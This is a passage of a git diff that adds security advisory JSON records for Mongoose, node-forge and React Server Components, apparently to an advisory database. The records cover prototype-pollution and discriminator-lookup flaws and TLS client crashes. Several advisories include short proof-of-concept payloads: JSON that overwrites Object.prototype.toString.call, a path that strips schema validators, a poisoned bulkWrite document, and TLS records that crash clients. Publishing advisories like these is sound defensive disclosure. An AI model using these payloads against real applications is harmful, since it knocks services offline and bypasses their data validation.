[])`.\n\n#### 3. Merging updates: `utils.mergeClone`\n\n```js\nif (typeof to[key] === 'undefined') {\n  to[key] = clone(fromObj[key]);\n} else if (isObject(val)) {\n  mergeClone(to[key], val);   // to[key] may be an inherited built-in\n}\n```\n\n`to[key]` was read without an own-property check, so a key such as `toString` recursed into `Object.prototype.toString`. This affects:\n\n- **`Model.findOneAndReplace(filter, replacement)`.** It always merges the replacement into the query's update, so a single call with an untrusted replacement is enough.\n- **Update calls chained onto a query that already has an update.** For example `Model.updateOne(filter, { $set: {...} }).updateOne({}, untrustedUpdate)`, the same pattern with `findOneAndUpdate()`, or middleware that calls `this.updateOne(...)`.\n- **`Query.prototype.merge()`** with a source query whose update came from untrusted input.\n\n### Proof of concept\n\n```js\nconst mongoose = require('mongoose');\nconst { Schema } = mongoose;\n\n// 2. Setting dotted paths: a Mixed path on a default strict schema, nothing saved\nconst Item = mongoose.model('Item', new Schema({ name: String, meta: {} }));\nnew Item(JSON.parse('{\"meta.toString.call\": 1}'));  // e.g. new Item(req.body)\nconsole.log(typeof Object.prototype.toString.call); // 'number'\n// From here on, every query in the process fails:\n// TypeError: _toString.call is not a function\n```\n\n```js\n// 1. Loading documents: a stored field named after an Object.prototype method\nconst Loose = mongoose.model('Loose', new Schema({ name: String }, { strict: false }));\nawait new Loose(JSON.parse('{\"name\":\"evil\",\"toString\":{\"call\":1}}')).save();\nawait Loose.findOne({ name: 'evil' });              // any later read of this document\nawait OtherModel.findOne();                         // TypeError: _toString.call is not a function\n```\n\n```js\n// 3. Merging updates: a single findOneAndReplace() call with an untrusted replacement\nconst Doc = mongoose.model('Doc', new Schema({ name: String }));\nDoc.findOneAndReplace({}, JSON.parse('{\"toString\":{\"call\":1}}'));\nconsole.log(typeof Object.prototype.toString.call); // 'number'\n```\n\n```js\n// 2. Setting dotted paths: changing the shared subdocument schema\nconst User = mongoose.model('User', new Schema({\n  profile: new Schema({ email: { type: String, required: true } }, { strict: false })\n}));\n// e.g. JSON-patch style endpoint: doc.set(req.body.path, req.body.value)\nnew User({ profile: { email: 'a@b.c' } }).set('profile.$__schema.paths.email.validators', []);\nawait new User({ profile: {} }).validate();         // resolves: `required` removed for every document\n```\n\n### Impact\n\n- **Denial of service (paths 1, 2 and 3).** One request overwrites `Object.prototype.toString.call`. After that, every query in the process fails, and so does much other code, until the process restarts. Ways in:\n  - `new Model(req.body)` on any schema with a `Mixed` path;\n  - `findOneAndReplace()` with an untrusted replacement;\n  - reading one stored document that contains a field such as `{ \"toString\": { \"call\": 1 } }`.\n\n  In the stored-document case, the attacker does not need any write path through Mongoose at the moment of the attack. Any later read of that document triggers the overwrite. If the document is read on startup or by a scheduled job, the application can be kept down.\n- **Changes to shared state (path 2, `strict: false` subdocuments).** An attacker who controls the path passed to `doc.set(path, value)` can change a subdocument schema that every document shares. For example, they can remove validators or change schema options for every later document in the process.\n- **Properties on built-in functions.** More generally, an attacker can attach properties they choose to built-in functions such as `Object.prototype.toString`, `Object.prototype.valueOf` and `Function.prototype.call`. Any other code that reads properties of those functions sees the attacker's values.","affected":[{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.13.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8332-j7wj-wjw4/GHSA-8332-j7wj-wjw4.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.8.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8332-j7wj-wjw4/GHSA-8332-j7wj-wjw4.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.24.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8332-j7wj-wjw4/GHSA-8332-j7wj-wjw4.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.0.0"},{"fixed":"9.11.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8332-j7wj-wjw4/GHSA-8332-j7wj-wjw4.json"}}],"references":[{"type":"WEB","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-8332-j7wj-wjw4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125117"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/18b5513dd463731a2caf0d3395ef1d9eb0735f50"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/2a195d19a4dd240f039a0a226614d5804e8187ee"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/3cb702b8d079c3e267f0b10f41673a1590f703c8"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/85cf897105edfeb5f56be42a18a68704434cac82"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/8cee51beead554df1f3d05645edb439c69eb2a9b"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/8eb74cb4a550cbe0225963b07aebacbd999d4b74"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4"}],"database_specific":{"cwe_ids":["CWE-1321"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T20:56:16Z","nvd_published_at":"2026-11-09T23:17:22Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-j8rw-jp99-435v.json b/data/npm/GHSA-j8rw-jp99-435v.json
new file mode 100644
index 0000000000..852e15ea90
--- /dev/null
+++ b/data/npm/GHSA-j8rw-jp99-435v.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-j8rw-jp99-435v","published":"2026-11-10T21:14:26Z","modified":"2026-11-10T21:30:04.008068866Z","aliases":["CVE-2026-125334"],"summary":"Forge: TLS client crash on a handshake record received without a session","details":"### Summary\nA `forge.tls` client throws an uncaught `TypeError` from `connection.process()` when it receives a ServerHello while it has no session: after a `close_notify` alert or a call to `close()`, or before `handshake()` is called. A malicious server or an on-path attacker can use this to terminate a Node.js process. Fixed in node-forge 1.4.3.\n\n### Details\n`tls.handleHandshake()` in `lib/tls.js` updates the handshake digests with `c.session.md5.update(bytes)` before it calls the message handler. A client creates its session in `handshake()`, and `c.reset()` sets it to `null` when the connection is closed. Closing doesn't set the fail flag, and the client goes back to expecting a ServerHello, so a Handshake record received afterwards still reaches `handleHandshake()`, which throws `TypeError: Cannot read properties of null (reading 'md5')`.\n\nThis happens:\n- after the server sends a `close_notify` alert (at any alert level);\n- after the application calls `close()`;\n- before the application calls `handshake()`.\n\nThe exception propagates out of `connection.process()`. Applications that pass socket data to `process()` from a `data` event handler without catching exceptions, as in the README example, terminate. After a reset the connection uses no encryption, so an on-path attacker can inject the records even when the real server is honest.\n\nServers are not affected: a server creates its session when it receives a ClientHello.\n\nThe fix handles these records like other unexpected records on a closed client: they are ignored.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nCatch exceptions thrown by `connection.process()` and close the socket, or stop passing socket data to `process()` once the `closed` callback has been called and until `handshake()` is called again.\n\n#### Resources\n- RFC 5246, section 7.2.1 (Closure Alerts): https://www.rfc-editor.org/rfc/rfc5246#section-7.2.1\n- Related: GHSA-525v-9gp9-w22h (another TLS client `TypeError`, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @manus-use.\n\n### Proof of concept\n    var c = forge.tls.createConnection({server: false, ...});\n    c.handshake();\n    // warning close_notify alert, then an empty ServerHello, in separate\n    // process() calls\n    c.process(forge.util.hexToBytes('15030100020100'));\n    c.process(forge.util.hexToBytes('160301000402000000'));\n    // <= 1.4.2: TypeError: Cannot read properties of null (reading 'md5')\n    // 1.4.3: the record is ignored\n\nThe reporter's PoC is in tests/pocs/ghsa-j8rw-jp99-435v.js, and regression tests are in tests/unit/tls.js.\n\n### Impact\nApplications that use `forge.tls` as a client and pass data from a network socket to `connection.process()` are affected. The server they connect to, or an on-path attacker, can make `process()` throw; if the application doesn't catch it, the Node.js process terminates, dropping all its connections. Servers built on `forge.tls` are not affected. There is no confidentiality or integrity impact.","affected":[{"package":{"name":"node-forge","ecosystem":"npm","purl":"pkg:npm/node-forge"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.3"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.4.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-j8rw-jp99-435v/GHSA-j8rw-jp99-435v.json"}}],"references":[{"type":"WEB","url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-j8rw-jp99-435v"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/pull/1169"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/commit/2cfaeb516cb3d4aff1c0569d39394df41c5cb17c"},{"type":"PACKAGE","url":"https://github.com/digitalbazaar/forge"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.3"}],"database_specific":{"cwe_ids":["CWE-476"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:14:26Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-w4xr-hqv8-ch44.json b/data/npm/GHSA-w4xr-hqv8-ch44.json
new file mode 100644
index 0000000000..0cd034038c
--- /dev/null
+++ b/data/npm/GHSA-w4xr-hqv8-ch44.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-w4xr-hqv8-ch44","published":"2026-11-10T21:17:14Z","modified":"2026-11-10T21:30:04.002424182Z","aliases":["CVE-2026-125332"],"summary":"Forge: TLS client crash on an unsupported ServerHello compression method","details":"### Summary\nA `forge.tls` client accepts any compression method in the ServerHello, although it only offers no compression. An unknown method makes `connection.process()` throw an uncaught `Error` when the client handles ServerHelloDone, before the server is authenticated. A malicious server or an on-path attacker can use this to terminate a Node.js process. Fixed in node-forge 1.4.3.\n\n### Details\nThe client's ClientHello offers only the `null` compression method. `tls.parseHelloMessage()` in `lib/tls.js` stores the ServerHello's `compression_method` for the client without checking it (the code has a `TODO: handle compression methods`). When the client handles ServerHelloDone it calls `tls.createConnectionState()`, which throws `Error('Unsupported compression algorithm.')` for any method other than `null` (0) and `deflate` (1). The exception propagates out of `connection.process()`.\n\nThe ServerHello isn't authenticated until the server's Finished message, so an on-path attacker can change the compression byte of a genuine ServerHello; the certificate chain still verifies. Applications that pass socket data to `process()` without catching exceptions terminate. This includes `forge.tls.wrapSocket`, which calls `process()` from its socket data handler, and `forge.http`, which uses it. A `deflate` (1) method, also never offered, makes the handshake fail later with an error instead of a crash.\n\nServers are not affected: a server always selects no compression.\n\nThe fix fails the handshake with an `illegal_parameter` alert, through the connection's `error` callback, when the ServerHello selects any compression method other than `null`.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nCatch exceptions thrown by `connection.process()` and close the socket.\n\n#### Resources\n- RFC 5246, section 7.4.1.3 (Server Hello): https://www.rfc-editor.org/rfc/rfc5246#section-7.4.1.3\n- Related: GHSA-525v-9gp9-w22h (another TLS client crash during the handshake, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @alienkeric.\n\n### Proof of concept\nA server (or on-path attacker) sends a ServerHello with `compression_method` 0xff, followed by a valid Certificate and ServerHelloDone:\n\n    client.handshake();\n    client.process(serverHello + certificate + serverHelloDone);\n    // <= 1.4.2: throws Error: Unsupported compression algorithm.\n    // 1.4.3: error callback with \"Unsupported compression method.\"\n\nThe reporter's PoC (a CA-issued server certificate and the default verify callback) is in tests/pocs/ghsa-w4xr-hqv8-ch44.js, and regression tests are in tests/unit/tls.js.\n\n### Impact\nApplications that use `forge.tls` as a client (directly, through `forge.tls.wrapSocket`, or through `forge.http`) and pass data from a network socket to `connection.process()` are affected. The server they connect to, or an on-path attacker, can make `process()` throw before the server is authenticated; if the application doesn't catch it, the Node.js process terminates, dropping all its connections. Servers built on `forge.tls` are not affected. There is no confidentiality or integrity impact.","affected":[{"package":{"name":"node-forge","ecosystem":"npm","purl":"pkg:npm/node-forge"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.3"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.4.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w4xr-hqv8-ch44/GHSA-w4xr-hqv8-ch44.json"}}],"references":[{"type":"WEB","url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-w4xr-hqv8-ch44"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/pull/1169"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/commit/1d9816d333c23c523ef2bd8b24282c87db2654ef"},{"type":"PACKAGE","url":"https://github.com/digitalbazaar/forge"},{"type":"WEB","url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.3"}],"database_specific":{"cwe_ids":["CWE-20","CWE-248"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:17:14Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-wr5m-5jph-8m96.json b/data/npm/GHSA-wr5m-5jph-8m96.json
new file mode 100644
index 0000000000..9e1e373b7e
--- /dev/null
+++ b/data/npm/GHSA-wr5m-5jph-8m96.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-wr5m-5jph-8m96","published":"2026-11-10T20:57:18Z","modified":"2026-11-10T21:15:03.070579762Z","aliases":["CVE-2026-125116"],"summary":"Mongoose: Discriminator key values matching inherited properties (e.g. __t: 'constructor') bypass schema casting and can poison collections","details":"### Summary\n\nMongoose chooses which discriminator model or schema to use by looking up the discriminator key value (`__t` by default) in a plain object of registered discriminators, for example `Model.discriminators[doc.__t]`. That value comes from user documents and query filters. Because the lookup did not check own properties, a value that names a property inherited from `Object.prototype` resolves to that inherited value instead of a discriminator. Examples are `'constructor'`, `'toString'` and `'hasOwnProperty'`.\n\n- `__t: 'constructor'` resolves to the global `Object` function. Mongoose then calls `new Object(doc)`, which returns the raw user object where a Mongoose document is expected.\n- `__t: 'toString'` and similar names resolve to built-in functions that throw when used as a constructor or schema.\n\nThe most serious effect: through `bulkWrite()` `insertOne` with `skipValidation: true`, the raw user object is stored as-is, without schema casting or `strict` filtering. After that, every query that returns the stored document throws, until the document is removed from the database.\n\n### Details\n\nThe registries that hold discriminators are plain objects: `Model.discriminators`, `schema.discriminators`, and the embedded discriminator registries on document arrays and single nested subdocuments. Several code paths indexed them directly with a value taken from the document or filter:\n\n| Code path | Input |\n|---|---|\n| Model constructor (`new Model(doc)`) | document |\n| `Model.create()`, `insertMany()`, `bulkWrite()`, `bulkSave()` | documents |\n| Hydrating query results (`find()`, `findOne()`, etc.) and `Model.hydrate()` | stored documents |\n| Casting query filters, including flat paths such as `'events.__t'` and `$elemMatch` | query filter |\n| Casting updates and array filters | update filter, `arrayFilters` |\n| Document array `push()` / `create()`, document array and single nested casting | subdocuments |\n| Populate on embedded discriminators | stored subdocuments |\n\n`getDiscriminatorByValue()` already iterated the registry's own keys safely. But most callers tried the direct lookup first and only fell back to it afterwards, so a truthy inherited value took precedence.\n\nThe lookups only read inherited properties. They do not write to `Object.prototype` or any other shared object, and they do not change in-memory state that affects other requests. This is NOT a prototype pollution vector.\n\n### Proof of concept\n\n```js\nconst mongoose = require('mongoose');\n\nconst Base = mongoose.model('Base', new mongoose.Schema({ name: String, age: Number }));\nBase.discriminator('Child', new mongoose.Schema({ extra: String }));\n\n// Type confusion: the \"document\" is the raw input object\nconst doc = new Base({ name: 'x', __t: 'constructor' });\nconsole.log(doc instanceof mongoose.Document); // false\n```\n\n```js\n// Schema bypass and persistent poison document via bulkWrite + skipValidation\nawait Base.bulkWrite([{\n  insertOne: { document: { name: 'x', age: 'not a number', notInSchema: true, __t: 'constructor' } }\n}], { skipValidation: true });\n// Stored verbatim: { age: 'not a number', notInSchema: true, __t: 'constructor', ... }\n\nawait Base.find(); // throws: Cannot read properties of undefined (reading 'eachPath')\n```\n\n### Impact\n\n- **Crashing the request.** An attacker who controls the discriminator key of a document or filter can make the request fail. In most code paths that sent the value, this means a `TypeError` or a non-document object returned to application code. Ways in include `Model.create(req.body)`, `new Model(req.body)`, `Model.find(req.query)`-style filters, and pushing user input onto embedded discriminator arrays. The effect is limited to the request carrying the value.\n- **Schema bypass on `bulkWrite({ skipValidation: true })`.** When an application passes untrusted documents to `bulkWrite()` `insertOne` with `skipValidation: true`, the raw object is stored without casting or `strict` filtering. Fields the schema would normally strip are persisted, such as an `isAdmin` that isn't in the schema. Fields with wrong types are also persisted.\n- **Persistent denial of service for queries.** A stored document with such a discriminator key value makes hydration throw. Every query that returns that document fails, for all users, until the document is deleted directly in the database. Besides the `bulkWrite()` path above, the document can get into the collection through another application, the raw MongoDB driver, or any other writer that does not go through Mongoose casting.\n\nThis issue doesn't let an attacker modify `Object.prototype`, built-in functions, schemas or other shared in-memory state. The schema bypass requires the application to opt in to `skipValidation` with untrusted input.","affected":[{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.13.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr5m-5jph-8m96/GHSA-wr5m-5jph-8m96.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.8.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr5m-5jph-8m96/GHSA-wr5m-5jph-8m96.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.24.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr5m-5jph-8m96/GHSA-wr5m-5jph-8m96.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.0.0"},{"fixed":"9.11.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr5m-5jph-8m96/GHSA-wr5m-5jph-8m96.json"}}],"references":[{"type":"WEB","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-wr5m-5jph-8m96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125116"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/0ecd8040d9b446f36535d79938c130c800f91766"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/18afab75bea861f625b7c5b54635c84567ec566c"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/390453c8ce1b36b6cfd1e63432a910da1f3d81d5"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/8cee51beead554df1f3d05645edb439c69eb2a9b"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/b26c43554233134ea978c5852babe13be858b2cf"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/b68f90734b50cd22c89a669c8ca1469d7234b296"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4"}],"database_specific":{"cwe_ids":["CWE-843"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T20:57:18Z","nvd_published_at":"2026-11-09T23:17:21Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"}]}
\ No newline at end of file
diff --git a/data/npm/GHSA-xqc2-xf4c-x3h3.json b/data/npm/GHSA-xqc2-xf4c-x3h3.json
new file mode 100644
index 0000000000..edfaabfe45
--- /dev/null
+++ b/data/npm/GHSA-xqc2-xf4c-x3h3.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-xqc2-xf4c-x3h3","published":"2026-11-10T22:44:12Z","modified":"2026-11-10T23:00:03.366767332Z","aliases":["CVE-2026-126187"],"summary":"React: Unauthenticated Remote Code Execution in React Server Components","details":"### Impact\n\nCrafted payloads targeting frameworks supporting React Server Components can lead to remote code execution. This only affects extremely rare cases where responses transport multiple typed arrays and an attacker-controlled value.\n\nUpdating immediately is recommended.\n\nThe vulnerability exists in versions 19.0.0 through 19.0.8, 19.1.0 through 19.1.9, 19.2.0 through 19.2.8 and 19.3.0 of:\n\n- react-server-dom-webpack\n- react-server-dom-parcel\n- react-server-dom-turbopack\n\n### Patches\n\nFixes were back ported to versions 19.0.09, 19.1.10, 19.2.9, and 19.3.1.\n\nIf applications are using any of the above packages please upgrade to any of the fixed versions immediately.\n\nIf an app’s React code does not use a server, the app is not affected by this vulnerability. If an app does not use a framework, bundler, or bundler plugin that supports React Server Components, the app is not affected by this vulnerability.","affected":[{"package":{"name":"react-server-dom-parcel","ecosystem":"npm","purl":"pkg:npm/react-server-dom-parcel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.0.0"},{"fixed":"19.0.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-parcel","ecosystem":"npm","purl":"pkg:npm/react-server-dom-parcel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.1.0"},{"fixed":"19.1.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-parcel","ecosystem":"npm","purl":"pkg:npm/react-server-dom-parcel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.2.0"},{"fixed":"19.2.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-parcel","ecosystem":"npm","purl":"pkg:npm/react-server-dom-parcel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.3.0"},{"fixed":"19.3.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-turbopack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-turbopack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.0.0"},{"fixed":"19.0.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-turbopack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-turbopack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.1.0"},{"fixed":"19.1.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-turbopack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-turbopack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.2.0"},{"fixed":"19.2.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-turbopack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-turbopack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.3.0"},{"fixed":"19.3.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-webpack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-webpack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.0.0"},{"fixed":"19.0.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-webpack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-webpack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.1.0"},{"fixed":"19.1.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-webpack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-webpack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.2.0"},{"fixed":"19.2.9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}},{"package":{"name":"react-server-dom-webpack","ecosystem":"npm","purl":"pkg:npm/react-server-dom-webpack"},"ranges":[{"type":"SEMVER","events":[{"introduced":"19.3.0"},{"fixed":"19.3.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-xqc2-xf4c-x3h3/GHSA-xqc2-xf4c-x3h3.json"}}],"references":[{"type":"WEB","url":"https://github.com/react/react/security/advisories/GHSA-xqc2-xf4c-x3h3"},{"type":"WEB","url":"https://github.com/react/react/pull/37842"},{"type":"WEB","url":"https://github.com/react/react/pull/37843"},{"type":"WEB","url":"https://github.com/react/react/pull/37844"},{"type":"WEB","url":"https://github.com/react/react/pull/37845"},{"type":"WEB","url":"https://github.com/react/react/pull/37846"},{"type":"WEB","url":"https://github.com/react/react/commit/0c9913ae87283f96e868a8f1c20a3389827632d0"},{"type":"WEB","url":"https://github.com/react/react/commit/249ac87b0dadea4ba024d1393e5cb60cf1186080"},{"type":"WEB","url":"https://github.com/react/react/commit/3d06b4005ac0cf9dec37267f26174adfe6d83611"},{"type":"WEB","url":"https://github.com/react/react/commit/611d9217df39cf7b8ac91b2e41fd00555923e904"},{"type":"WEB","url":"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe"},{"type":"PACKAGE","url":"https://github.com/react/react"},{"type":"WEB","url":"https://github.com/react/react/releases/tag/v19.0.9"},{"type":"WEB","url":"https://github.com/react/react/releases/tag/v19.1.10"},{"type":"WEB","url":"https://github.com/react/react/releases/tag/v19.2.9"},{"type":"WEB","url":"https://github.com/react/react/releases/tag/v19.3.1"}],"database_specific":{"cwe_ids":["CWE-502"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T22:44:12Z","nvd_published_at":null,"severity":"CRITICAL"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N"}]}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-14473.json b/data/npm/MAL-2026-14473.json
index a1aba55205..d52eea416f 100644
--- a/data/npm/MAL-2026-14473.json
